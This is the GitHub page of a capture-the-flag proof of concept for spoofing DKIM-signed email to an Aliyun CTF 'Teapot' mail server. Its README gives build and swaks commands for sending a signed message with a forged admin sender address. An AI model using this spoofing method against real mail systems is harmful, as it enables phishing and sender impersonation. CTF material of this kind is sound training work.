Skip to content

Esonhugh/AliyunCTF-Email-Spoofing-DKIM-Creator

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

5 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Aliyun CTF Teapot Mail Server DKIM spoofing fast poc

Usage

update file of <your domain> to your domain and make the DKIM for your domain

Save your private key as mail.pem

go build -o signer.exe signer.go
./signer.exe [mailname].eml
# find the bodyhash
swaks --data output2.eml \
  --to admin --from admin_required@outlook.com \
  --server TheTeapotServer --port 25